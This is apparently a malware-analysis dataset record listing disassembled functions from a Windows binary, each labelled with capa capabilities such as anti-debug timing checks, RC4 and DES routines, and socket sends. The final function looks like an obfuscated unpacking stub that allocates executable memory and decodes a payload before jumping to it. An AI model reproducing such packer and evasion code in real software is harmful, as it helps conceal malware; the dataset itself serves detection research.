joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44c5a0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4ca148
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x44c5d9
inc eax
mov dword [esi + 0x10], eax
jmp 0x44c6ec
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x44c5ed
mov eax, 0xffffffc7
jmp 0x44c6ee
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x44c5fe
cmp dword [esi + 8], eax
jne 0x44c5ed
cmp dword [esi + 8], eax
jne 0x44c617
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x44c617
mov eax, 0xffffffc7
jmp 0x44c6ee
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x44c62b
push eax
mov ecx, ebx
call fcn.0044bdd0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.0041fbf0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x44c65c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.0041fc10
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.0044b540
test eax, eax
mov dword [esp + 0x38], eax
je 0x44c68f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x78ed60
call fcn.0041fdf0
mov eax, dword [esp + 0x38]
jmp 0x44c6ee
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.0044c400
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x44c6d3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.0044c420
mov esi, eax
test esi, esi
jne 0x44c703
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.0044c400
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x44c6a5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x78ed60
call fcn.0041fdf0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x78ed60
call fcn.0041fdf0
mov eax, esi
jmp 0x44c6ee

Function at 0x4510e0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x451140
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x451140
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x451140
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x451140
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x451180
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x45cdb0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4caa38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.004c317d
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0045c710
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.004c30ab
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004bf966
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004bf966
push 1
push 0
push 0
mov ecx, esi
call fcn.004bf90e
push 1
push 0
push 1
mov ecx, esi
call fcn.004bf90e
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004c31ef
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x45cf30
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4caa58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004c317d
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0045c710
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004c30ab
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x45cff4
cmp dword [esp + 0x40], 1
jne 0x45cff2
cmp ecx, eax
jge 0x45cff4
mov eax, ecx
cmp eax, 0xc8
jge 0x45d000
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0045cdb0
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004c31ef
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x45d7f0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4cab03
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004bdd86
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.004c3425
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004c4941
test eax, eax
je 0x45d90c
mov ecx, dword [esp + 0x3c]
call fcn.004c3452
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x45d8d0
push edi
mov ecx, esi
call fcn.004c0ab1
mov ecx, esi
call fcn.0045dab0
cmp dword [esp + 0x38], 1
jne 0x45d905
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.004c0bec
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x45faf0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x45fb23
push esi
call fcn.0046dd70
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x45fb1c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x45fba9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x45fb92
mov eax, dword [esi + 8]
test eax, eax
je 0x45fb47
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x45fb8e
cmp eax, 2
je 0x45fb92
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x45fb3a
cmp eax, 3
je 0x45fb6d
cmp eax, 1
jne 0x45fb3a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x45fb3a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x45fb3a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.0045fbd0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x45fbb8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.0045fbd0
add esp, 4
pop esi
ret

Function at 0x460440
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x460461
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x460461
mov eax, dword [eax + 0x44]
test eax, eax
je 0x460461
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4806c0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x87a7cc]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4806d3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x480714
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x87a874]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x480746
mov bl, byte [esp + ecx + 0x4c]
jmp 0x48074a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x48073b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x480768
mov bl, byte [esp + ecx + 0x4c]
jmp 0x48076c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x48075d
xor ecx, ecx
mov eax, 0x87a7dc
xor ebx, ebx
mov bl, byte [ecx + 0x87a884]
cmp byte [esp + ebx + 0x14], 0
je 0x480797
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x87a89c]
cmp byte [esp + ebx + 0x14], 0
je 0x4807ae
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x48077e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x480707
lea edx, [esp + 0x84]
push edx
call fcn.004807f0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x4843a0
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
sub esp, 0x15c
mov eax, dword [esp + 0x160]
push ebx
push ebp
push esi
push edi
push eax
lea ecx, [esp + 0x38]
push str._Msg0001_4__Msg0001__s
push ecx
call fcn.004adc34
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x87c330]
repne scasb al, byte es:[edi]
mov eax, dword [str.0001]
mov dword [esp + 0x2c], edx
not ecx
dec ecx
mov dword [esp + 0x30], eax
mov ebx, ecx
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x3c], ebx
lea eax, [ebx + 0x14]
push eax
mov dword [esp + 0x20], eax
call fcn.004ac397
mov ebp, eax
mov ecx, 5
lea esi, [esp + 0x30]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea esi, [esp + 0x44]
mov edx, ecx
lea edi, [ebp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add esp, 0x10
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x174]
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x68]
push eax
push 0
push ecx
lea eax, [edi + 1]
push 0
push eax
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], 1
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0x186a0
call sub.WS2_32.dll_select
test eax, eax
jl 0x4844b0
je 0x4844a2
lea edx, [esp + 0x68]
push edx
push edi
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x4844a2
mov ebx, dword [esp + 0x10]
add ebp, esi
sub ebx, esi
push 0
push ebx
push ebp
push edi
mov dword [esp + 0x20], ebx
call sub.WS2_32.dll_send
mov esi, eax
test esi, esi
jl 0x4844b0
cmp esi, ebx
jge 0x4844b0
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0xa
mov dword [esp + 0x14], eax
jl 0x484437
push ebp
call fcn.004ac2ae
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret

Function at 0x4856b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x485716
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x485716
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4856f7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x485aa0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x485ad8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x486800
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x486849
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x486cc0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4cb070
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00486870
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004868f0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004868f0
lea ecx, [esi + 0xc]
call fcn.004bc739
lea ecx, [esi + 0x10]
call fcn.004bc739
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00487e80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00487e80
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00487e80
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004bc7ae
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004bc7ae
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x48aeb0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8b5608]
xor edx, edx
cmp eax, edx
jne 0x48aed6
xor eax, eax
mov byte [eax + 0x8b5508], al
inc eax
cmp eax, 0x100
jl 0x48aebe
mov dword [0x8b5608], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8b5508
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x48af67
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48af3a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x48af08
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x48af70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x48afc3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x48afaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x491980
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4cb46e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004922a0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x797dcc
call fcn.004bc4ef
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x491a13
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004bc4ef
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x491a0c
push 0
mov ecx, eax
call fcn.00488af0
mov dword [esi + 0xc], eax
jmp 0x491a15
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x491a15
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4beb7c
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4bebb4
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004bcc09
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004bcbe1
jmp 0x4bebc0
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c026e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c02b0
call fcn.004c5fe7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c02b0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c02a7
xor eax, eax
jmp 0x4c02b8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c02be
pop edi
pop esi
pop ebx
ret 4

Function at 0x4c6517
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4c6545
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4c6563
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004c647d
jmp 0x4c6563
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4c6563
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004c647d
test edi, edi
mov eax, edi
jne 0x4c654d
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x4379e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4379f2
pop dword [ebp - 8]
mov eax, 0x4379f2
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x2f6e884c
add dword [ebp - 0x18], 0x1ee3bcff
mov dword [ebp - 0x14], 0x523a031
add dword [ebp - 0x14], 0x2d0fac14
mov dword [ebp - 0x10], 0x2a74c3c0
sub dword [ebp - 0x10], 0xde287f92
mov dword [ebp - 0xc], 0x68e27180
add dword [ebp - 0xc], 0x971d8e80
lea eax, [ebp - 0x18]
push eax
mov eax, 0x6fb2b6c5
sub eax, 0x6f692671
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xc79e0212
sub dword [ebp - 0x18], 0x532b98bc
mov dword [ebp - 0x14], 0x1dd11b92
sub dword [ebp - 0x14], 0xdc64ba1d
mov dword [ebp - 0x10], 0xb2e44608
sub dword [ebp - 0x10], 0x4f74d99c
mov dword [ebp - 0xc], 0xe70ffc09
sub dword [ebp - 0xc], 0xe70ffc09
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x4850552f
add eax, 0xb7f93af5
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x6bc1e
push 0
call eax
mov ecx, 0x40a4
xor ebx, ebx
add ebx, eax
mov esi, 0x8bf9838f
add esi, 0x7452da71
add esi, dword [ebp - 8]
mov edx, 0xc940b39e
xor dword [ebp - 4], ecx
mov edi, dword [esi]
add dword [ebp - 4], 0x26d4dcc4
sub edi, edx
sub dword [ebp - 4], edi
mov dword [ebx], edi
sub dword [ebp - 4], ebx
add ebx, 0x1d64ac1e
sub ebx, 0x1d64ac1a
add esi, 0xc5bb2ce2
sub esi, 0xc5bb2cde
loop 0x437b05
add eax, 0x678f58bf
sub eax, 0x678e635c
mov ebx, eax
add eax, 0xb56a8432
sub eax, 0xb56a842d
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret